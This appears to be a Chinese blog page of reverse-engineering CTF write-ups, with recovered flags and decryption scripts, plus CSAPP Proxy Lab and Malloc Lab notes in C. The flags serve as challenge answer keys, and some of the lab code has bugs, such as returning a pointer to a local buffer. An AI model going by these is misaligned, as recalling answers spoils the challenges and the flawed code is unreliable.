0x41414141 CTF

Backupkeys

Can you recover my backup keys to get the flag , they probably are hardcoded ?

提示说明 flag 是硬编码;

进入IDA只有start和零散的几个函数,说明加壳了;

用16进制查看器搜UPX可以发现 UPX! 标志;

脱壳后看main函数:

main

在最下方的输出 try harder的另一条线上有一个输出:

1
"Phew Phew collect the keys below , don't forget to put them in flag{} format"

消除逗号得到硬编码的flag:flag{Hardcodedpasswordsareuseless}

X-and-or

查看main:

main

code是一个运行后设置的地址,跳转到主要函数;从code里的判断可得知,输入长度为38;进入运算后循环38次,内部有固定数字进行异或运算并与输入内容比较;

code

循环的结尾是比较数据,需要使得eax最终为0;经过调试可以发现每次异或0~5的立方,满6归0;

写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
origin = [0x66, 0x6D, 0x69, 0x7C, 0x3B, 0x48, 0x36, 0x31, 0x3E, 0x28, 0x77, 0x19, 0x63, 0x31, 0x6C, 0x78, 0x24, 0x4E, 0x33, 0x63, 0x3D, 0x7D, 0x26, 0x4E, 0x37, 0x39, 0x30, 0x2B, 0x23, 0x1C, 0x31, 0x31, 0x6A, 0x29, 0x74, 0x1B, 0x62, 0x7C]

flag = [0] * 38

k = 0

for i in range(38):
flag[i] = chr(((k*k*k)) ^ origin[i])
k += 1
if k == 6:
k = 0

print(''.join(flag))

由此得到flag:flag{560637dc0dcd33b5ff37880ca10b24fb}

这题最有意思的是init函数,他把code的二进制内容异或上了0x42,需要将其变回来则再异或0x42,然后写在新的txt里,用IDA反编译,设置sp值,然后就能看到伪代码了:

code

Hash

I received a corrupted program the keys are probably lost within the game can you just find it for me to get the flag?.

Flag format : flag{key1+key2}

一开始看main觉得很奇怪,明明汇编有其他分支为什么伪代码始终显示的是 oops wrong path ?

结果发现是因为跳转的地方动了手脚:

jmp

它始终都是判断必走另一条路,所以找不到正确的上下文;本来以为很难的题一下就变成了渣渣题;

里里外外都改一下jmp,再运行一遍,它就自己吐flag了;

得出:flag{456789JKLq59U1337}

Cage

Are you aware of the scopes yet?

开场patch main_one函数得到正确的上下文;

main

发现需要输入一系列magic code,然后它会吐出已有的字符串,直接将字符串拼起来得到flag:

flag{0xm4tr1xreal}

Ware

My plaintext has been encrypted by an innocent friend of mine while playing around cryptographic libraries, can you help me to recover the plaintext , remembers it’s just numbers and there’s a space between some numbers which you need to remove the space and submit the recovered plain text as a flag.

开始一个upx直接脱掉;

搜索运行时的字符串得到flag:flag{32117406899806798980909}

WrongDownload

My key has been missing inside these two binaries can you help me to find it out ,as per my friend the key is divided in two parts between the two binaries so, remember you need to join them up before submitting as a flag.

直接反编译就能找到:flag{S6c56bnXQiBjk9mqSYE7ykVQ7NzrRy}

阅读全文
Proxy_lab

实现

一个web代理,并有多线程和缓存功能,所以一一来实现;

  • 根据 write up 中所说,首先需要实现 HTTP/1.0 GET 请求的顺序代理:读取整个请求并解析请求(是否是有效HTTP请求),如果是则建立自己到适当 web服务器的连接,请求客户端指定对象,再将响应转发回客户端;注意:HTTP请求每行以\r\n结束,并以\r\n为尾行;
    • 具体要做到将url解析为三部分:host,后半url,HTTP版本;
    • 请求头中包含ua,host,connection,proxy-connection;
    • 请求端口无论在url中还是默认的都必须正确;
    • 处理过早关闭的连接,需要捕获SIGPIPE;
  • 实现多线程工作(生产者-消费者);
  • 实现缓存最近内存中使用的web对象(LRU策略);
    • 设置缓存的最大内存,以及单个对象的最大内存;

handout给出了tiny服务器的源码,只需要在这个基础上进行改装;

Tiny解析

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main(int argc, char **argv) 
{
int listenfd, connfd;
char hostname[MAXLINE], port[MAXLINE];
socklen_t clientlen;
struct sockaddr_storage clientaddr;

//输入端口参数
if (argc != 2) {
fprintf(stderr, "usage: %s <port>\n", argv[0]);
exit(1);
}

//监听描述符
listenfd = Open_listenfd(argv[1]);
while (1) {
clientlen = sizeof(clientaddr);
//接受请求成为描述符
connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
//读取套接字信息,IP和端口
Getnameinfo((SA *) &clientaddr, clientlen, hostname, MAXLINE,
port, MAXLINE, 0);
printf("Accepted connection from (%s, %s)\n", hostname, port);
//响应
doit(connfd);
//关闭接受描述符
Close(connfd);
}
}

doit函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void doit(int fd) 
{
int is_static;
struct stat sbuf;
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char filename[MAXLINE], cgiargs[MAXLINE];
rio_t rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)


is_static = parse_uri(uri, filename, cgiargs); //解析uri
if (stat(filename, &sbuf) < 0) {
clienterror(fd, filename, "404", "Not found",
"Tiny couldn't find this file");
return;
}

if (is_static) {
if (!(S_ISREG(sbuf.st_mode)) || !(S_IRUSR & sbuf.st_mode)) {
clienterror(fd, filename, "403", "Forbidden",
"Tiny couldn't read the file");
return;
}
serve_static(fd, filename, sbuf.st_size); //静态
}
else {
if (!(S_ISREG(sbuf.st_mode)) || !(S_IXUSR & sbuf.st_mode)) {
clienterror(fd, filename, "403", "Forbidden",
"Tiny couldn't run the CGI program");
return;
}
serve_dynamic(fd, filename, cgiargs); //动态
}
}

serve_static函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void serve_static(int fd, char *filename, int filesize)
{
int srcfd;
char *srcp, filetype[MAXLINE], buf[MAXBUF];

//发送响应行和报头
get_filetype(filename, filetype);
sprintf(buf, "HTTP/1.0 200 OK\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Server: Tiny Web Server\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Content-length: %d\r\n", filesize);
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Content-type: %s\r\n\r\n", filetype);
Rio_writen(fd, buf, strlen(buf));

//回响载体
srcfd = Open(filename, O_RDONLY, 0);
srcp = Mmap(0, filesize, PROT_READ, MAP_PRIVATE, srcfd, 0); //映射内存保证原文件纯净
Close(srcfd);
Rio_writen(fd, srcp, filesize);
Munmap(srcp, filesize);
}

serve_dynamic函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void serve_dynamic(int fd, char *filename, char *cgiargs) 
{
char buf[MAXLINE], *emptylist[] = { NULL };

//行与报头
sprintf(buf, "HTTP/1.0 200 OK\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Server: Tiny Web Server\r\n");
Rio_writen(fd, buf, strlen(buf));

//子进程
if (Fork() == 0) {

setenv("QUERY_STRING", cgiargs, 1); //用url参数初始化环境变量
Dup2(fd, STDOUT_FILENO); //重定向输出到fd
Execve(filename, emptylist, environ); //运行CGI程序
}
Wait(NULL); //等待子进程结束回收
}

I . 顺序代理GET请求

writeup中的要求:

  1. 处理 HTTP/1.0 版本,如果遇到1.1,则需要将其作为1.0版本转发;

  2. 转发合法 HTTP 请求(实现中所示);

  3. 头中的 ua 和 两个 connection 都有给定的值:

    1
    2
    3
    "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305Firefox/10.0.3\r\n"
    "Proxy-Connection: close"
    "Connection: close"

实际上要做的,就是将doit内的操作变为转发与回复,而不是单纯回响;

那么需要将发送的包写给目标服务器,之后把目标服务器的回响写给发送者;

要看uri中是否有端口那就应该解析uri,但和上面解析是不一样的,上面是在看读取的文件是静态还是动态;

主函数和tiny一样,只是需要在 listen之前加一条:

1
signal(SIGPIPE,SIG_IGN);

新建三个全局变量:

1
2
3
4
//uri解析记录变量
char send_port[MAXLINE];
char send_host[MAXLINE];
char send_path[MAXLINE];

doit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void doit(int fd) 
{
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char backbuf[MAXLINE],newhd[MAXLINE];
char *send;
rio_t rio,serverfd_rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)

//解析uri为host port path
parse_uri(uri);

//改写
sprintf(newhd, "GET %s HTTP/1.0\r\n", send_path);
send = built_message(newhd,&rio);

//开启远程服务器
int serverfd = Open_clientfd(send_host,send_port);
if (serverfd < 0)
{
printf("connection failed\n");
return;
}

Rio_readinitb(&serverfd_rio, serverfd);
//写入服务器
Rio_writen(serverfd, send, strlen(send));

size_t n;

//回响
while((n = Rio_readlineb(&serverfd_rio,backbuf,MAXLINE)) != 0)
{
printf("proxy received %d bytes,then send\n", (int)n);
Rio_writen(fd,backbuf,n);
}

Close (serverfd);
}

两个神奇函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void parse_uri(char *uri)
{
//是否有host:port,port默认80
char *hostpath = strstr(uri,"//");
if(hostpath != NULL) //有
{
//是否有port
char *portpath = strstr(hostpath + 2,":");
if(portpath != NULL) //有
{
int num;
sscanf(portpath+1,"%d%s",&num,send_path);
sprintf(send_port,"%d",num);
*portpath = NULL;
}
else //无
{
char *path = strstr(hostpath + 2,"/");
if(path != NULL)
{
strcpy(send_path,path);
strcpy(send_port,"80");
*path = NULL;
}
}
strcpy(send_host,hostpath + 2);
return;
}
else //无
{
char *path = strstr(uri,"/");
if(path != NULL)
{
strcpy(send_path,path);
}
strcpy(send_port,"80");
return;
}
}

char *built_message( char *getit,rio_t *rp)
{
//构造新头
char buf[MAXLINE];
char rio[MAXLINE];
sprintf(buf,"%s",getit);
sprintf(buf,"%sHost: %s\r\n",buf,send_host);
sprintf(buf,"%sUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3\r\n",buf);
sprintf(buf,"%sConnection: close\r\n",buf);
sprintf(buf,"%sProxy-Connection: close\r\n\r\n",buf);

//补上原内容
Rio_readnb(rp,rio,MAXLINE);
sprintf(buf,"%s%s",buf,rio);
return buf;
}

II . 多线程的并发

实现多线程使用 消费者-生产者 模型:

消费者和生产者共同使用一个 n个槽的优先缓冲区,生产者产生新的项目并插入缓冲区;消费者取出这些项目并使用;

因此两者的访问需要互斥,并且调度地访问:空状态(消费者等待),满状态(生产者等待);

在这个实验里,消费者就是服务端,接受各样的连接;生产者就是客户端,发送各样的连接;

实现缓冲区:

1
2
3
4
5
6
7
8
9
typedef struct {
int *buf; // 缓冲区数组
int n; // 槽的最大数量
int front; // buf[(front+1)%n] 是第一个项目
int rear; // buf[rear%n] 是最后一个项目
sem_t mutex; //互斥锁,初始化1
sem_t slots; //记录槽,初始化n
sem_t items; //记录项目,初始化0
} sbuf_t;

客户端插入函数:

1
2
3
4
5
6
7
8
void sbuf_insert(sbuf_t *sp, int item)
{
P(&sp->slots); // 对slots加锁,保证槽位满时,客户端挂起
P(&sp->mutex); // 对缓冲区互斥访问
sp->buf[(++sp->rear)%(sp->n)] = item; // 添加项目
V(&sp->mutex); // 解锁
V(&sp->items); //与slots对应地调整items
}

服务端实现后移除项目的函数:

1
2
3
4
5
6
7
8
9
10
int sbuf_remove(sbuf_t *sp)
{
int item;
P(&sp->items); // 如果项目没有,服务端挂起
P(&sp->mutex); // 加锁缓冲区
item = sp->buf[(++sp->front)%(sp->n)]; // 移除项目
V(&sp->mutex); // 解锁
V(&sp->slots);
return item; //返回客户端的描述符
}

主函数(和tiny的main差不多):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char **argv) 
{
int listenfd, connfd;
char hostname[MAXLINE], port[MAXLINE];
socklen_t clientlen;
struct sockaddr_storage clientaddr;

//输入端口参数
if (argc != 2) {
fprintf(stderr, "usage: %s <port>\n", argv[0]);
exit(1);
}
//阻塞SIGPIPE信号
signal(SIGPIPE,SIG_IGN);
//监听描述符
listenfd = Open_listenfd(argv[1]);

//创建线程
sbuf_init(&sbuf, SBUFSIZE);
for(int i = 0; i < NTHREADS; i++)
{
Pthread_create(&tid, NULL, thread, NULL);
}

while (1) {
clientlen = sizeof(clientaddr);
//接受请求成为描述符
connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
//插入描述符
sbuf_insert(&sbuf, connfd);
//读取套接字信息,IP和端口
Getnameinfo((SA *) &clientaddr, clientlen, hostname, MAXLINE,
port, MAXLINE, 0);
printf("Accepted connection from (%s, %s)\n", hostname, port);
}
}

线程执行函数:

1
2
3
4
5
6
7
8
9
10
void *thread(void *vargp)
{
Pthread_detach(pthread_self());
while(1){
//从缓冲区中读出描述符
int connfd = sbuf_remove(&sbuf);

doit(connfd);
Close(connfd);}
}

III . 缓存web对象

目的是为了让多次访问的web对象不用再连接服务器,直接响应;

这里会使用 读者-写者 模型 ,让线程从缓存中读和写:

只读的线程叫读者,只写的进程叫写者,读者可以和其他读者共享只读部分,写者需要有独立的访问;

这个模型有两种情况:

读者优先,写者优先;

这里使用读优先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int read_cnt;		//记录读者数量
sem_t mutex, w; //都初始化为1,w导使有读无写,有写无读


void reader(void)
{
while(1){
P(&mutex);
readcnt++;
if(readcnt==1) //第一个读者导致w加锁,则写者挂起;
P(&w);
V(&mutex);

P(&mutex);
readcnt--;
if(readcnt==0) //最后一个读者结束解锁w
V(&w);
V(&mutex);
}
}

void writer(void)
{
while(1){
P(&w);

...

V(&w)
}
}

设置缓存区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct
{
char obj[MAX_OBJECT_SIZE];
char uri[MAXLINE];
int LRU;
int isEmpty;

int read_cnt; //读者数量
sem_t w; //Cache信号量
sem_t mutex; //read_cnt信号量

} block;

typedef struct
{
block data[MAX_CACHE];
int num;
} Cache;

修改doit函数中的内容,得到请求后,判断uri是否在缓存中,不在就添加进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void doit(int fd) 
{
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char backbuf[MAXLINE],newhd[MAXLINE];
char *send;
char cache_tag[MAXLINE];
rio_t rio,serverfd_rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
strcpy(cache_tag,uri);
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)

//uri是否存在缓存中
int i;
if ((i = get_Cache(cache_tag)) != -1)
{
//加锁
P(&cache.data[i].mutex);
cache.data[i].read_cnt++;
if (cache.data[i].read_cnt == 1)
P(&cache.data[i].w);
V(&cache.data[i].mutex);

Rio_writen(connfd, cache.data[i].obj, strlen(cache.data[i].obj));

P(&cache.data[i].mutex);
cache.data[i].read_cnt--;
if (cache.data[i].read_cnt == 0)
V(&cache.data[i].w);
V(&cache.data[i].mutex);
return;
}

//解析uri为host port path
parse_uri(uri);

//改写
sprintf(newhd, "GET %s HTTP/1.0\r\n", send_path);
send = built_message(newhd,&rio);

//开启远程服务器
int serverfd = Open_clientfd(send_host,send_port);
if (serverfd < 0)
{
printf("connection failed\n");
return;
}

Rio_readinitb(&serverfd_rio, serverfd);
//写入服务器
Rio_writen(serverfd, send, strlen(send));

char cache_buf[MAX_OBJECT_SIZE];
int size_buf = 0;
size_t n;

//回响
while((n = Rio_readlineb(&serverfd_rio,backbuf,MAXLINE)) != 0)
{
size_buf += n;
if(size_buf < MAX_OBJECT_SIZE)
strcat(cache_buf, buf);
printf("proxy received %d bytes,then send\n", (int)n);
Rio_writen(fd,backbuf,n);
}

Close (serverfd);

//没有就写入缓存
if(size_buf < MAX_OBJECT_SIZE){
write_Cache(cache_tag, cache_buf);
}

}

总结

虽然迷迷糊糊的,但跟着线程走了一遍,多多少少学会了更多的东西:比如信号量的运用,线程创建和运作方式,以及状态机和模型的特点;但这个lab确实感受到了难度,等往后学的深入再返回看的话应该还会有收获;

阅读全文
Malloc_Lab

forest


实现

一个动态内存申请器,能实现:malloc, free, realloc;

前置知识

CSAPP第9章:动态内存申请器,内存中的堆,链表;

蛋疼的检测工具

首先需要;

1
gcc -Wall -O2 -m32   -c -o mdriver.o mdriver.c

然后;

1
make mdriver mdriver.o mm.o memlib.o fsecs.o fcyc.o clock.o ftimer.o

以上两个出错请用下面指令解决;

1
sudo apt-get install gcc-multilib

下载出错请更新镜像,或者添加清华园下载路径:

1
2
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

输入以下命令打开下载源:

1
sudo vim /etc/apt/sources.list

按 i 进入编辑模式,完成后输入 :w 保存, :q退出;之后输入一遍:

1
sudo apt-get update && apt-get upgrade && apt-get dist-upgrade

然后就能输入第三条指令了,接着编译就行了;

其次,traces是缺失的,需要下载以进行检测;地址:

https://github.com/Davon-Feng/CSAPP-Labs/tree/master/yzf-malloclab-handout/traces

将10个文件装入文件夹,将文件夹放到和 mdriver 同级的地方;

并修改config.h里第15行的内容为自己的traces文件夹目录;

分析

  • 需要内存空间模拟堆;
  • 需要模拟已分配和未分配的块;
  • 需要管理这个空间(开始,结束,填充);
  • 需要操控这个空间(放置,分割,合并,释放);

已知内容

mem_heap,mem_brk两个指针分别指向堆的开始和结尾,mem_sbrk函数可以调节brk并返回旧brk的值,两个指针已初始化相等;

堆中的最小单位为4字节(1字),第一个字是双字边界对齐不使用的填充字;后面跟着两字的序言块,分配器使用私有的全局变量 heap_listp 指向序言块的第二个字开头;以一个0内容的已分配块作为结束的一个字;

使用隐式空闲链表,下一次适配,边界标记的堆块格式(最小4字,开头和结尾2字是标志字),立即合并;

标志字由整个块的大小或上分配位组成;

代码

I . 操作空闲链表的常数和宏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define WSIZE 4     //一字的字节
#define DSIZE 8 //两字的字节
#define CHUNKSIZE (1<<12) //延展一次堆的字节数

#define MAX(x,y) ((x) > (y) ? (x) : (y))
#define MIN(x,y) ((x) < (y) ? (x) : (y))

//大小或上分配位打包的标志字
#define PACK(size,alloc) ((size) | (alloc))

//读写p指针处的一个字
#define GET(p) (*(unsigned int *)(p))
#define PUT(p,val) (*(unsigned int *)(p) = (val))

//读取标志字中的大小和分配状态
#define GET_SIZE(p) (GET(p) & ~0x7)
#define GET_ALLOC(p) (GET(p) & 0x1)

//给出开头或结尾标志字的位置(bp指针指向块的有效载体)
#define HDRP(bp) ((char *)(bp) - WSIZE)
#define FTRP(bp) ((char *)(bp) - DSIZE + GET_SIZE(HDRP(bp)))

//给出前一个或下一个块的bp指针
#define NEXT_BLKP(bp) ((char *)(bp) + GET_SIZE(HDRP(bp)))
#define PREV_BLKP(bp) ((char *)(bp) - GET_SIZE((char *)(bp) - DSIZE))

static char * heap_listp;
//下次适配记录之前的块
static char * prev_listp;

p是一个void * 指针,所以强制转换是必要的;

II . 创建空闲列表(堆)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int mm_init(void)
{
//分配4个字(1个初始填充,2个序言,1个结尾)
if((heap_listp = mem_sbrk(4*WSIZE)) == (void *)-1)
return -1;
PUT(heap_listp,0);
PUT(heap_listp + WSIZE,PACK(DSIZE,1));
PUT(heap_listp + (2 * WSIZE),PACK(DSIZE,1));
PUT(heap_listp + (3*WSIZE),PACK(0,1));
heap_listp += (2*WSIZE);
prev_listp = heap_listp;

//延展空闲块
if(extend_heap(CHUNKSIZE/WSIZE) == NULL)
return -1;
return 0;
}

static void * extend_heap(size_t words)
{
char * bp;
size_t size;

//满足2字对齐
size = (words % 2) ? (words + 1) * WSIZE : words * WSIZE;
if((long)(bp = mem_sbrk(size)) == -1)
return NULL;

//设置填充空闲块的头和尾,以及延展一个结束字
PUT(HDRP(bp),PACK(size,0));
PUT(FTRP(bp),PACK(size,0));
PUT(HDRP(NEXT_BLKP(bp)),PACK(0,1));

//合并空闲块,如果前面是的话
prev_listp = coalesce(bp);
}

mm_init函数在创建初始堆空间;extend_heap函数在延展空闲块,用在init里,当然也可以用在当申请空间不足时的地方,所以单独成为一个函数;coalesce之后会讲到,是合并空闲块的函数,在填充和释放时用到;

注意,首次适配所记录的当前块指针如果被向前合并,则记录指针也需要随之改变,所以最好运用合并函数的地方都使其返回的值成为prev_listp;

III . 释放和合并块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void mm_free(void * bp)
{
size_t size = GET_SIZE(HDRP(bp));

//设置头尾分配位0
PUT(HDRP(bp),PACK(size,0));
PUT(FTRP(bp),PACK(size,0));

prev_listp = coalesce(bp);
}

static void *coalesce(void *bp)
{
size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
size_t size = GET_SIZE(HDRP(bp));

//4种情况,前后块都是分配的,前后块都没分配,前后块有一者分配
if(prev_alloc && next_alloc)
{
return bp;
}
else if(!prev_alloc && next_alloc)
{
size += GET_SIZE(FTRP(PREV_BLKP(bp)));
PUT(FTRP(bp),PACK(size,0));
PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
bp = PREV_BLKP(bp);
}
else if(prev_alloc && !next_alloc)
{
size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
PUT(HDRP(bp),PACK(size,0));
PUT(FTRP(bp),PACK(size,0));
}
else
{
size += GET_SIZE(HDRP(NEXT_BLKP(bp))) + GET_SIZE(FTRP(PREV_BLKP(bp)));
PUT(FTRP(NEXT_BLKP(bp)),PACK(size,0));
PUT(HDRP(PREV_BLKP(bp)),PACK(size,0));
bp = PREV_BLKP(bp);
}
return bp;
}

在第二个else if 的地方,HDRP需要写前面,因为FTRP会用HDRP处的内容;

IV . 放置和分割块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
void *mm_malloc(size_t size)
{
// 调整后大小
size_t asize;
//延展大小
size_t extendsize;
char *bp;

//忽视无用请求
if(size == 0)
return NULL;

//调整对齐要求
if(size <= DSIZE)
asize = 2 * DSIZE;
else
//向上取整
asize = ((size + DSIZE + (DSIZE - 1)) / DSIZE) * DSIZE;

//放置块
if((bp = find_fit(asize)) != NULL)
{
place(bp,asize);
return bp;
}

//空间不够延展
extendsize = MAX(asize,CHUNKSIZE);
if((bp = extend_heap(extendsize/WSIZE)) == NULL)
return NULL;
place(bp,asize);
return bp;
}

static void *find_fit(size_t asize)
{
void * bp;

//初始化使prev_listp指向了序言块
for(bp = prev_listp; GET_SIZE(HDRP(bp)) > 0; bp = NEXT_BLKP(bp))
{
if(!GET_ALLOC(HDRP(bp)) && (asize <= GET_SIZE(HDRP(bp))))
{
prev_listp = bp;
return bp;
}
}
//后面找没有之后从头找
for(bp = heap_listp; bp != prev_listp; bp = NEXT_BLKP(bp))
{
if(!GET_ALLOC(HDRP(bp)) && (asize <= GET_SIZE(HDRP(bp))))
{
prev_listp = bp;
return bp;
}
}
return NULL;
}

static void place(void * bp,size_t asize)
{
//原块长度
size_t csize = GET_SIZE(HDRP(bp));

//分割后大小大于或等于最小块则执行分割
if((csize - asize) >= (2 * DSIZE))
{
PUT(HDRP(bp),PACK(asize,1));
PUT(FTRP(bp),PACK(asize,1));
bp = NEXT_BLKP(bp);
PUT(HDRP(bp),PACK((csize - asize),0));
PUT(FTRP(bp),PACK((csize - asize),0));
}
else
{
PUT(HDRP(bp),PACK(csize,1));
PUT(FTRP(bp),PACK(csize,1));
}
}

V . 重分配块大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void *mm_realloc(void *bp, size_t size)
{
void * old_bp = bp;
void * new_bp;
size_t oldsize, newsize;

//创建新的分配块
new_bp = mm_malloc(size);
if(new_bp == NULL)
return NULL;
oldsize = GET_SIZE(HDRP(old_bp));
newsize = GET_SIZE(HDRP(new_bp));
//比较新旧大小,如果新的更大,则复制原数据过去,如果更小,复制小的长度个原数据
if(oldsize < newsize)
newsize = oldsize;
//取消结尾字
memcpy(new_bp, old_bp, newsize-WSIZE);
mm_free(old_bp);
return new_bp;
}

VI . 检测

将代码打包到mm.c,使用之前的编译命令,搞出有代码的 mdriver;输入以检测:

1
./mdriver -V

如图:

check

总结

至此,实现了所分析的内容:

模拟空间,填充——extend_heap;

已分配和未分配的块——有头尾的列表模式以及宏定义的操作;

开头结尾——mm_init;

以及有小标题的放置,分割,释放,合并小函数;


forest

阅读全文
假期复现

1 . havetea

IDA:

main

左边是主函数里可以找到的,可以发现首先让输入key,且为16个长度,并且把输入的key分成两段进行了两次加密;在加密函数crypto里,是一个简单TEA运算,只不过IDA抽风把 +=delta 翻译成了 -=补码;crypto又把输入的数据截成两段进行运算,使用的key可以在程序里找到;之后用加密数据进行比较;

知晓key和加密后的数据使用对应解密方式解密:

1
2
3
4
5
6
for(i=0;i<32;i++)
{
r -= ((l<<4) + c) ^ (l + sum) ^ ((l>>5) + d);
l -= ((r<<4) + a) ^ (r + sum) ^ ((r>>5) + b);
sum -= delta;
}

解密后得到输入为:please_drink_tea

end

之后又让输入32长度的内容进行加密,并且用之前输入的16长度作为第二次加密cry的密钥;可以看出这次32长度的内容被分成了4段进行cry加密,而cry其实是和第一次的crypto差不多的TEA运算;加密完之后进行数据比较;

对应解密方式:

1
2
3
4
5
6
for(i=0;i<32;i++)
{
r -= (sum + key[(sum >> 11) & 3]) ^ (l + ((16 * l) ^ (l >> 5)));
sum -= delta;
l -= (sum + key[sum & 3]) ^ (r + ((16 * r) ^ (r >> 5)));
}

解密后得到:flag{c616454f52a6334273b5f455a10ef818}

2.maze

IDA:

main

通过字符串搜索,找到主要函数,可以看到通过输入的v2来与v3进行 domaze 函数运算;右图为 domaze 函数,可以看出这是个三线迷宫,迷宫整体由v3控制,输入的v2代表玩家移动方向;

maze

通过调试可知,这是个指针制作的迷宫,前24位每8位代表一个方向,第25位开始往后是控制数;比如地址0x112E86A 为1,对应0x112E860处的方向的控制数,当这个控制数为 1 的时候,根据 domaze 函数的计算规则可知,会触发 sub_4C6470 结束函数;而最后一个 0 是代表是否走过这个路口,走过之后会变成 1;

之后通过这个规则去逆推回去:(这些是地址低三位)

test

正着写回去便是:rrrrtltltlllltlltrtrrr

md5之后得到:flag{988b0f23719099efcbd66586a168bab9}

3.rota

IDA:

main

最上面图展示了最终的比较数据;中间左边的图则是一开始的base64编码,下面的图展示了base64的变种码表;中间右边的图展示了最后是生成了一个BOX,用BOX与base64编码后的内容进行加密;

中间有BOX的生成内容,但是无关紧要,因为生成的数据和输入的内容无关,所以是固定的,BOX也就是固定的;

所以只需要破解这个加密就能够得出最终结果;

crypto

以上为crypt函数的内容;

调试加分析加软磨硬泡得出爆破代码的核心内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for v10 in range(66):
v11 = v5
v12 = (v5 + BOX[(v3 + v10) & 0x3F]) & 0x3F
v13 = (v3 + 1) & 0x3F
v14 = BOX[((result + BOX[v12 + 64]) & 0x3F) + 128]
if(ans[j] == b64box[v14]):
print(chr(b64box[v10]))
BOX[192] = v13
break
elif(v10 == 65):
print('erorr')
exit(0)
if(not v13):
v5 = (v5 + 1) & 0x3F
BOX[193] = v5
if(((v11 + 1) & 0x3F) == 0):
result = (result + 1) & 0x3F
BOX[194] = result

然后和原代码一样,该循环几次循环几次,该有几个有几个;

得出base64编码后的内容为:cAJ7BzX+6zHrHwnTc/i7Bz6f6t6EBQDvc/xfHt9d6S9XX

再base64解码一遍:

base64

得到:flag{8cdd01062b7e90dd372c3ea9977be53e}

4.gocode

IDA:

main

gocode提示了这是go语言写的,所以搜索函数main_main找到主函数,通过右上角的图可知输入总长度为37,且是由 PCL{} 括起来的;

